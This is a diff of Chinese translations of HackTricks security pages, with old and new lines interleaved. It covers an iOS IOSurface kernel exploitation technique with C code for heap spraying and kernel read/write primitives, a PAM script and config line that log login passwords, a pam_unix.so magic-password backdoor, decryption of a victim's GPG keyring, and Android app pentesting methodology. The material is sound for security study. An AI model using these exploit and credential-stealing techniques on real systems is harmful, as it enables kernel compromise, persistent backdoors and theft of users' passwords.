> KTRR (Kernel Text Read-Only Region) 在启动后将内核的代码段锁定为只读。这阻止了对内核代码的运行时修改,封堵了 physical UAF 利用常依赖的一个主要攻击路径。
> 另外IOSurface 的分配变得更不可预测且更难映射回用户可访问区域这使得“magic value 扫描”技巧变得不可靠。并且 IOSurface 现在受 entitlements 和 sandbox 限制的保护。
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: 攻击者创建大量带有特殊标识“magic value”的 IOSurface objects。
2. **Scan Freed Pages**: 他们检查是否有对象被分配到已释放的页面上。
3. **Read/Write Kernel Memory**: 通过操纵 IOSurface 对象中的字段,他们获得了在内核内存中进行**任意读写**的能力。这使他们能够:
* 使用一个字段来**读取内核内存中的任意 32-bit 值**。
* 使用另一个字段来**写入 64-bit 值**,从而实现稳定的 **kernel read/write primitive**
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
在一个已释放的物理页面中搜索 **`IOSurface`** 对象:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### 使用 IOSurface 实现内核读/写
在获得对内核内的 IOSurface 对象的控制后(映射到可从用户态访问的已释放物理页面),我们可以用它进行 **任意内核读写操作**
**IOSurface 的关键字段**
IOSurface 对象有两个关键字段:
1. **Use Count Pointer**:允许 **32-bit 读取**
2. **Indexed Timestamp Pointer**:允许 **64-bit 写入**
通过覆写这些指针,可以将它们重定向到内核内的任意地址,从而实现读/写能力。
#### 32-Bit 内核读取
要执行一次读取:
1. 将 **use count pointer** 覆写为指向目标地址减去 0x14 字节偏移的位置。
2. 使用 `get_use_count` 方法读取该地址处的值。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64 位内核写入
要执行写入:
1. 将 **索引时间戳指针** 覆盖为目标地址。
2. 使用 `set_indexed_timestamp` 方法写入一个 64 位值。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### 利用流程回顾
1. **Trigger Physical Use-After-Free**:释放的页面可被重用。
2. **Spray IOSurface Objects**:在内核内存中分配许多带有唯一 "magic value" 的 IOSurface 对象。
3. **Identify Accessible IOSurface**:定位位于你控制的已释放页面上的 IOSurface。
4. **Abuse Use-After-Free**:修改 IOSurface 对象中的指针,通过 IOSurface 方法实现任意 **kernel read/write**
利用这些原语,漏洞利用能够对内核内存进行可控的 **32-bit reads****64-bit writes**。后续的 jailbreak 步骤可能需要更稳定的 read/write primitives这可能要求绕过额外的保护例如在较新的 arm64e 设备上的 PPL
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,23 @@
## Sniffing Logon Passwords with PAM
让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么,请查看:
让我们配置一个 PAM 模块来记录每个用户用于登录的密码。如果你不知道什么是 PAM,请查看:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是个摘要:
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是个摘要:
**Technique Overview:**
Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性,但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据,并列出相应的缓解策略。
Pluggable Authentication Modules (PAM) 为在基于 Unix 的系统上管理身份验证提供了灵活性。它们可以通过自定义登录流程来增强安全性,但如果被滥用也会带来风险。本摘要概述了一种使用 PAM 捕获登录凭证的技术,以及相应的缓解策略。
**Capturing Credentials:**
- 编写了一个名为 `toomanysecrets.sh` 的 bash 脚本来记录登录尝试,记录内容包括日期、用户名(`$PAM_USER`)、密码(通过 stdin以及远程主机 IP`$PAM_RHOST`),并写入 `/var/log/toomanysecrets.log`
- 将脚本设为可执行,并通过 `pam_exec.so` 模块将其集成到 PAM 配置(`common-auth`)中,使用的选项使其静默运行并将认证令牌暴露给脚本
- 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据
- 创建了一个名为 `toomanysecrets.sh` 的 bash 脚本,用于记录登录尝试,捕获日期、用户名(`$PAM_USER`)、密码(通过 stdin以及远程主机 IP`$PAM_RHOST`),并将其写入 `/var/log/toomanysecrets.log`
- 该脚本被赋予可执行权限,并通过在 PAM 配置(`common-auth`)中使用 `pam_exec.so` 模块集成,使用了静默运行并将认证令牌暴露给脚本的选项
- 该方法演示了被攻陷的 Linux 主机如何被利用以隐蔽地记录凭证
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -30,32 +30,32 @@ sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
### 在 PAM 中植入后门
**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。 这里只是摘要:
**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。下面只是一个摘要:
The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录,共享库负责处理认证。
Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录,共享库负责处理认证。
**目标**:修改 PAM使其允许使用特定密码进行认证,绕过实际用户密码。重点是 `pam_unix.so` 这个由 `common-auth` 文件使用的共享库,几乎所有用于密码验证的 services 都会包含它
**目标**:修改 PAM使其接受一个特定的密码进行认证,从而绕过实际用户密码。这里主要针对 `pam_unix.so` 共享库,该库由 `common-auth` 文件调用,而 `common-auth` 被几乎所有用于密码验证的 services 所包含
### Steps for Modifying `pam_unix.so`:
### 修改 `pam_unix.so` 的步骤:
1. **Locate the Authentication Directive** in the `common-auth` file:
1. **定位 Authentication 指令** 在 `common-auth` 文件中:
- 负责检查用户密码的那一行会调用 `pam_unix.so`
2. **Modify Source Code**:
- 在 `pam_unix_auth.c` 源文件中添加一个条件判断:如果使用预定义密码则授予访问,否则继续正常的认证流程
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- 使用预定义密码可以在多个 serviceslogin, ssh, sudo, su, screensaver中获得访问而正常的认证流程不受影响。
2. **修改源代码**
- 在 `pam_unix_auth.c` 源文件中添加一个条件判断:如果使用了预定义的密码则授予访问权限,否则按常规认证流程继续
3. **重新编译并替换** 修改后的 `pam_unix.so` 库到相应目录。
4. **测试**
- 使用预定义密码可以在多种服务login, ssh, sudo, su, screensaver上获得访问权限而正常的认证流程保持不受影响。
> [!TIP]
> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化过程
> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化过程
## Decrypting GPG loot via homedir relocation
## 通过重定位 homedir 解密 GPG loot
如果你发现一个加密的 `.gpg` 文件和用户的 `~/.gnupg` 文件夹pubring, private-keys, trustdb但由于 GnuPG homedir 的权限或锁导致无法解密,可以将 keyring 复制到一个可写的位置并将其作你的 GPG home。
如果你发现一个被加密的 `.gpg` 文件并且找到了用户的 `~/.gnupg` 文件夹pubring, private-keys, trustdb但由于 GnuPG homedir 的权限/锁定无法解密,可以将 keyring 复制到一个可写的位置并将其作你的 GPG home 使用
如果不这样,通常会看到错误"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir
在没有这样做时你通常会看到的错误有"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir
工作流程:
```bash
@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
如果私钥材料存在于 `private-keys-v1.d`GPG 会在不提示 passphrase 的情况下解锁并解密(如果该密钥受保护则会提示)。
如果秘密密钥材料存在于 `private-keys-v1.d`GPG 将在不提示输入 passphrase 的情况下解锁并解密(或者如果密钥受保护则会提示)。
## 参考资料

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Android 应用 基础
强烈建议先阅读此页面,以了解与 Android 安全相关的**最重要部分以及 Android 应用中最危险的组件**
强烈建议先阅读此页面,以了解与 Android security 相关的**最重要部分以及 Android 应用 中最危险的组件**
{{#ref}}
@ -13,24 +13,24 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
这是连接到 Android 设备(模拟或实体)所需的主要工具。\
**ADB** 允许从计算机通过 **USB****Network** 控制设备。该工具可实现文件的双向**复制**、应用的**安装**与**卸载**、shell 命令的**执行**、数据的**备份**、日志的**读取**,以及其他功能。
这是连接 Android 设备(模拟或物理)所需的主要工具。\
**ADB** 允许从计算机通过 **USB****Network** 控制设备。该实用程序支持双向文件的 **copying**、应用的 **installation****uninstallation**、shell 命令的 **execution**、数据的 **backing up**、日志的 **reading**,以及其他功能。
查看下面的 [**ADB Commands**](adb-commands.md) 列表学习如何使用 adb。
查看下 [**ADB Commands**](adb-commands.md) 列表学习如何使用 adb。
## Smali
有时修改**应用程序代码**以访问**隐藏信息**(例如高度混淆的密码或 flag)是很有意义的。然后,反编译 APK、修改代码并重新编译可能会很有用。\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). 这在进行动态分析期间作为若干测试的替代方法时可能非常有用。请始终记住这种可能性。
有时修改应用代码以访问**隐藏信息**(例如高度混淆的密码或 flags非常有用。此时反编译 apk、修改代码并重新编译可能是个不错的选择。\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。这在进行动态分析时可作为若干测试的替代方法非常有用。因此,请始终记住这个可能性。
## 其他有趣的技巧
## Other interesting tricks
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **下载 APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取 APK:
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取 APK
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks:
- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## 静态分析
首先,要分析一个 APK,你应该使用反编译器**查看 Java 代码**。\
请[**在此阅读以了解可用反编译器的相关信息**](apk-decompilers.md)。
首先,在分析 APK 时,你应该使用反编译器**查看 Java 代码**。\
请[**在此阅读以获取关于不同可用反编译器的信息**](apk-decompilers.md)。
### 查找有的信息
### 查找有价值的信息
仅查看 APK 的 **strings** 就可以搜索 **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** 和任何有趣的东西……甚至查找代码执行的 **backdoors** 或身份验证 backdoors应用的硬编码 admin credentials)。
仅查看 APK 的 **strings** 就可以搜索 **密码**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及任何有趣的东西……甚至查找代码执行的 **backdoors** 或身份验证后门(应用的硬编码管理员凭据)。
**Firebase**
特别注意 **Firebase URLs** 并检查其是否配置不当。[更多关于什么是 Firebase 以及如何利用它的信息见此处。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
特别注意 **Firebase URLs** 并检查其是否配置不当。[更多关于什么是 Firebase 以及如何利用它的信息在此。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 对应用的基本理解 - Manifest.xml, strings.xml
对应用的 **_Manifest.xml_ 和 **_strings.xml_** 文件的检查可以揭示潜在的安全漏洞**。这些文件可以通过反编译器获取,或将 APK 文件扩展名改为 .zip 然后解压来访问
**检查应用的 _Manifest.xml_**_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或者将 APK 扩展名重命名为 .zip 然后解压来获取
**Manifest.xml** 中可识别的 **漏洞** 包括:
**Manifest.xml** 中可识别的 **漏洞** 包括:
- **Debuggable Applications**:在 _Manifest.xml_ 文件中被设置为 debuggable (`debuggable="true"`) 的应用存在风险,因为它们允许建立连接,可能导致被利用。关于如何在设备上查找和利用 debuggable 应用的更多信息,请参考相关教程。
- **Backup Settings**:对于处理敏感信息的应用,应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 在 usb debugging 启用时进行未授权的数据备份
- **Network Security**自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`位于 _res/xml/_ 中,可指定诸如证书 pinning 和 HTTP 流量设置等安全细节。例如可以为特定域名允许 HTTP 流量。
- **Exported Activities and Services**:识别 manifest 中导出的 activities 和 services 可以突出可能被滥用的组件。动态测试阶段可以进一步分析如何利用这些组件。
- **Content Providers and FileProviders**:暴露的 content providers 可能允许未授权访问或修改数据。FileProviders 的配置也应仔细审查。
- **Broadcast Receivers and URL Schemes**:这些组件可能被用来进行利用,特别注意 URL schemes 如何处理输入以防止注入或其他输入相关的漏洞
- **SDK Versions**`minSdkVersion``targetSDKVersion``maxSdkVersion` 属性指示支持的 Android 版本,提示不要支持已过时且存在已知漏洞的 Android 版本以维护安全性
- **可调试的应用**:在 _Manifest.xml_ 文件中被设置为 debuggable (`debuggable="true"`) 的应用存在风险,因为它们允许连接,可能导致被利用。有关如何在设备上发现和利用可调试应用的更多信息,请参阅相关教程。
- **备份设置**:对于处理敏感信息的应用,应显式将 `android:allowBackup="false"` 属性设置为 false以防止在 usb debugging 启用时通过 adb 非授权备份数据
- **网络安全**:位于 _res/xml/_自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`可以指定证书 pin、HTTP 流量设置等安全细节。例如,为特定域名允许 HTTP 流量。
- **导出 Activities 和 Services**:识别 manifest 中导出的 activities 和 services 可以突出可能被滥用的组件。动态测试期间的进一步分析可以揭示如何利用这些组件。
- **Content Providers FileProviders**:暴露的 content providers 可能允许未授权访问或修改数据。FileProviders 的配置也应仔细审查。
- **Broadcast Receivers 和 URL Schemes**:这些组件可能被用于利用,特别要关注 URL schemes 如何处理输入以防止漏洞利用
- **SDK 版本**`minSdkVersion``targetSDKVersion``maxSdkVersion` 属性表明支持的 Android 版本,强调不要支持已过时且存在漏洞的 Android 版本以保证安全
**strings.xml** 文件中,可以发现诸如 API keys、自定义 schema 以及其他开发者备注等敏感信息,这强调了对这些资源进行仔细审查的必要性。
**strings.xml** 文件中,可以发现敏感信息,例如 API keys、自定义 schema 以及其他开发者注释,这强调了对这些资源进行仔细审查的必要性。
### Tapjacking
**Tapjacking** 是一种攻击,攻击者会启动一个 **malicious** **application** 并将其**放置在受害应用之上**。一旦它可见地遮挡了受害应用,其用户界面会被设计成以欺骗用户与其交互,同时将交互传递给受害应用。\
实际上,它是**让用户看不见他们实际上在对受害应用执行操作**。
**Tapjacking** 是一种攻击,攻击者启动一个**恶意** **应用**并**将其放置在受害应用之上**。一旦它在视觉上遮挡了受害应用,其用户界面会被设计成以欺骗用户与之交互,同时将交互传递给受害应用。\
实际上,它是**使用户看不见他们实际上正在对受害应用执行操作**。
更多信息见:
更多信息见:
{{#ref}}
@ -104,7 +104,7 @@ tapjacking.md
### Task Hijacking
如果一个 **activity****`launchMode`** 设置为 **`singleTask` 且未定义任何 `taskAffinity`**,则容易受到 Task Hijacking 的影响。这意味着,可以安装一个 **application**,并且如果在真实应用之前启动它,它可能**劫持真实应用的任务**(使用户在与**malicious application** 交互时误以为是在使用真实应用)。
一个将 **`launchMode`** 设置为 **`singleTask` 且未定义 `taskAffinity`** 的 **activity** 易受 task Hijacking 攻击。这意味着,如果在真实应用之前安装并启动一个**应用**,它可能**劫持真实应用的 task**(因此用户会与**恶意应用交互而误以为是在使用真实应用**)。
更多信息见:
@ -115,44 +115,44 @@ android-task-hijacking.md
### 不安全的数据存储
**Internal Storage**
**内部存储**
在 Android 中,存储在 **internal** 存储中的文件**设计上只能由创建它们的应用访问**。该安全措施由 Android 操作系统强制执行,通常能满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 的模式来**允许**文件在不同应用之间**共享**。但这些模式**不限制其他应用对这些文件的访问**,包括可能的恶意应用。
在 Android 中,存储在 **内部** 存储的文件设计为仅能被**创建它们的应用**访问。该安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 的模式来**允许**文件在不同应用之间**共享**。但这些模式**不限制其他应用对这些文件的访问**,包括潜在的恶意应用。
1. 静态分析:
- **确保** 对 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 的使用进行**严格审查**。这些模式**可能会将文件暴露给非预期或未授权的访问**。
2. 动态分析:
- **验证** 应用创建的文件权限。特别是,**检查** 是否有任何文件被设置为全局可读或可写。这可能构成重大安全风险,因为它将允许**任何已安装的应用**(无论来源或意图)**读取或修改**这些文件。
1. **静态分析:**
- **仔细审查** `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 的使用。这些模式**可能会将文件暴露给意外或未授权的访问**。
2. **动态分析:**
- **验证**应用创建的文件的**权限**。特别是,**检查**是否有任何文件被设置为全局可读或可写。这会带来显著的安全风险,因为它将允许**任何安装在设备上的应用**(无论来源或意图)**读取或修改**这些文件。
**External Storage**
**外部存储**
处理位于 **external storage**(如 SD 卡)上的文件时,应采取以下注意事项:
处理外部存储(例如 SD 卡)上的文件时,应注意以下事项:
1. 可访问性:
- external storage 上的文件是**全局可读写**的。这意味着任何应用或用户都可以访问这些文件。
2. 安全顾虑
- 鉴于访问容易,建议**不要在 external storage 上存储敏感信息**。
- external storage 可以被移除或被任何应用访问,因此安全性较低。
3. 处理来自 external storage 的数据
- 始终对从 external storage 检索的数据进行**输入验证**。这很重要,因为这些数据来自不受信任的来源。
- 强烈不建议将可执行文件或 class 文件存放在 external storage 以供动态加载。
- 如果你的应用必须从 external storage 检索可执行文件,请确保在动态加载之前对这些文件进行**签名和密码学验证**。此步骤对于维护应用的安全完整性至关重要
1. **可访问性**
- 外部存储上的文件是**全局可读可写**的,这意味着任何应用或用户都可以访问这些文件。
2. **安全问题**
- 鉴于易访问性,建议**不要在外部存储上保存敏感信息**。
- 外部存储可以被移除或被任意应用访问,因此安全性较低。
3. **处理来自外部存储的数据**
- 对从外部存储检索的数据始终**执行输入验证**。这是至关重要的,因为这些数据来自不受信任的来源。
- 强烈不建议在外部存储上存放可执行文件或 class 文件以进行动态加载。
- 如果应用必须从外部存储检索可执行文件,确保这些文件在动态加载前**经过签名和加密验证**。这是维护应用安全完整性的关键一步
External storage 可以在 /storage/emulated/0, /sdcard, /mnt/sdcard 访问
外部存储可在 /storage/emulated/0 、 /sdcard 、 /mnt/sdcard 访问
> [!TIP]
> 从 Android 4.4**API 17**开始SD 卡具有一种目录结构,**将应用的访问限制在专门为该应用设置的目录内**。这可以防止恶意应用获得对其他应用文件的读写权限
> 从 Android 4.4 (**API 17**) 开始SD 卡具有目录结构,**将应用的访问限制在专门为该应用准备的目录内**。这可防止恶意应用获得对其他应用文件的读写访问
**明文存储的敏感数据**
**明文存储的敏感数据**
- **Shared preferences**Android 允许每个应用方便地在路径 `/data/data/<packagename>/shared_prefs/` 保存 xml 文件,有时可以在该文件夹中以明文找到敏感信息。
- **Databases**Android 允许每个应用方便地在路径 `/data/data/<packagename>/databases/` 保存 sqlite 数据库,有时可以在该文件夹中以明文找到敏感信息。
- **Shared preferences**Android 允许每个应用轻松在路径 `/data/data/<packagename>/shared_prefs/` 保存 xml 文件,有时可以在该文件夹中以明文发现敏感信息。
- **Databases**Android 允许每个应用轻松在路径 `/data/data/<packagename>/databases/` 保存 sqlite 数据库,有时可以在该文件夹中以明文发现敏感信息。
### Broken TLS
**Accept All Certificates**
出于某些原因,开发者有时会接受所有证书,即使例如 hostname 不匹配,也会有如下类似的代码行
出于某些原因,有时开发者会接受所有证书,即使例如 hostname 不匹配,也会用像下面这样的代码来处理
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -163,23 +163,23 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Poor Key Management Processes**
一些开发者会将敏感数据保存在本地存储并用硬编码/可预测的密钥进行加密。这样做不可取,因为通过一些 reversing 工作,攻击者可能提取出机密信息。
有些开发者会把敏感数据保存在本地存储并用硬编码/可预测的密钥在代码中加密。这样不应该做,因为逆向工程可能让攻击者提取机密信息。
**Use of Insecure and/or Deprecated Algorithms**
开发者不应使用 **已弃用的算法** 来执行授权 **checks**、**存储** 或 **发送** 数据。部分此类算法包括RC4、MD4、MD5、SHA1……例如如果使用 **hashes** 来存储密码,应使用对 brute-force **resistant** 的哈希并配合 salt
开发者不应使用 **deprecated algorithms** 来执行授权 **checks**、**store** 或 **send** 数据。其中一些算法有RC4, MD4, MD5, SHA1... 如果用 **hashes** 来存储密码,例如,应使用带 salt 的抗暴力破解 **resistant** 哈希算法
### Other checks
- 建议 **APK 进行混淆(obfuscate the APK**,以增加逆向工程的难度。
- 如果应用比较敏感(例如银行类应用),应该自行检查手机是否 **rooted** 并据此采取措施。
- 如果应用比较敏感(例如银行类应用),应检查是否在 **emulator** 中运行
- 如果应用比较敏感(例如银行类应用),应在执行前 **检查自身完整性** 以确认是否被篡改。
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使哪个 compiler/packer/obfuscator
- 建议 **obfuscate the APK**,以增加逆向工程的难度。
- 如果应用是敏感的(如银行类应用),它应当执行它自己的检查来判断手机是否 **rooted** 并据此采取措施。
- 如果应用是敏感的(如银行类应用),它应检测是否在使用 **emulator**
- 如果应用是敏感的(如银行类应用),它应在执行前 **check it's own integrity before executing** 以检测是否被修改。
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查用哪个 compiler/packer/obfuscator 构建了 APK
### React Native Application
阅读以下页面,了解如何轻松访问 React 应用的 javascript 代码:
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
阅读以下页面,了解如何轻松访问 xamarin 应用的 C# 代码:
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
@ -197,17 +197,17 @@ react-native-application.md
### Superpacked Applications
根据这篇 [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)superpacked 是 Meta 的一种算法,它将应用的内容压缩到单个文件中。博文讨论了创建一个解压这类应用的应用的可能性……以及一种更快的方法,涉及 **执行应用并从文件系统收集解压后的文件。**
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### Automated Static Code Analysis
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能通过 **扫描** 应用 **代码** 来发现 **vulnerabilities**。该工具包含一系列 **known sources**(指示工具哪些 **位置****输入** 由用户控制)、**sinks**(指示工具哪些 **危险****位置** 可能被恶意用户输入利用)和 **rules**。这些规则定义了指示存在漏洞的 **sources-sinks** 组合。
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
基于这些信息,**mariana-trench 会审查代码并发现其中的潜在漏洞**。
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
应用中可能包含 secretsAPI keys、密码、隐藏的 urls、子域名……你可能能够发现这些信息。你可以使用诸如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 之类的工具。
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -236,54 +236,54 @@ content-protocol.md
## Dynamic Analysis
> 首先,你需要一个可以安装应用及其环境(主要是 Burp CA cert、Drozer 和 Frida的环境。因此强烈推荐使用已 root 的设备(模拟或真实设备均可)。
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
### Online Dynamic analysis
你可以在此创建一个 **免费账号**: [https://appetize.io/](https://appetize.io)。该平台允许你 **上传****执行** APK非常适合观察 APK 的运行行为。
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
你甚至可以在网页中 **查看应用的日志** 并通过 **adb** 连接。
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
借助 ADB 连接,你可以在模拟器内使用 **Drozer****Frida**
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### Local Dynamic Analysis
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86****arm** 设备,根据 [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新 x86** 版本 **支持 ARM 库**,无需使用较慢的 arm 模拟器)。
- 在此页面学习如何设置:
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
